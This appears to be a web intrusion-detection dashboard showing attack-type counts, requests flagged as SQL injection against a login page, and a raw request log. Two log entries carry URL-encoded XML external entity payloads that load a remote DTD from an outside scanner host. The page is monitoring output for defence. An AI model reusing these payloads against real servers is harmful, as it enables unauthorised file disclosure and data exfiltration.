idsthreat

Threat Count
Total Logs 4228982
Anomaly 454720
Normal 2808897
CSRF 1264
LDAP 103598
OSCommand 18558
PathTraversal 153166
SQL 629095
SSI 2
XPath 445
XSS 59237

Latest log

IP Address Country Timestamp Request Url Response Code Type
223.182.186.91 IN 22/Feb/2021:18:43:30 GET /user/login 200 sql
223.182.186.91 IN 22/Feb/2021:18:42:52 GET /user/login 200 sql
223.182.186.91 IN 22/Feb/2021:18:42:18 GET /user/login 200 sql
223.182.186.91 IN 22/Feb/2021:18:39:48 GET /user/login 200 sql
223.182.186.91 IN 22/Feb/2021:18:39:16 GET /user/login 200 sql
223.182.186.91 IN 22/Feb/2021:18:38:41 GET /user/login 200 sql

Pages

Raw log

IP Address Country Timestamp Request Response Code Url
223.182.186.91 IN 23/Feb/2021:16:16:39 GET 200 /sites/default/files/styles/thumbnail/public/WhatsApp%20Image%202020-11-20%20at%2009.54.45%20%281%29.jpeg?itok=%3C%3Fxml+version%3D%221.0%22%3F%3E%0A%3C%21DOCTYPE+foo+%5B%0A%3C%21ENTITY+%25+remote+SYSTEM+%22https%3A%2F%2Fwapiti3.ovh%2Fdtd%2Fwuyqdq%2F4%2F69746f6b%2Flinux.dtd%22%3E%0A%25remote%3B+%25intern%3B+%25trick%3B+%5D%3E%0A%3Cxml%3E%3Ctest%3Ehello%3C%2Ftest%3E%3C%2Fxml%3E
223.182.186.91 IN 23/Feb/2021:16:16:13 POST 200 /sites/default/files/styles/medium/public/image%281%29_0_0.jpg?itok=_ZSmChUs
223.182.186.91 IN 23/Feb/2021:16:13:55 GET 200 /sites/default/files/styles/medium/public/IMG-20190101-WA0053.jpg?itok=%3C%3Fxml+version%3D%221.0%22%3F%3E%0A%3C%21DOCTYPE+foo+%5B%0A%3C%21ENTITY+%25+remote+SYSTEM+%22https%3A%2F%2Fwapiti3.ovh%2Fdtd%2Fwuyqdq%2F544%2F69746f6b%2Flinux.dtd%22%3E%0A%25remote%3B+%25intern%3B+%25trick%3B+%5D%3E%0A%3Cxml%3E%3Ctest%3Ehello%3C%2Ftest%3E%3C%2Fxml%3E
127.0.0.1 Unknown 23/Feb/2021:16:13:27 OPTIONS 200 *
157.33.0.60 ID 23/Feb/2021:16:13:02 GET 200 /

Pages

Demo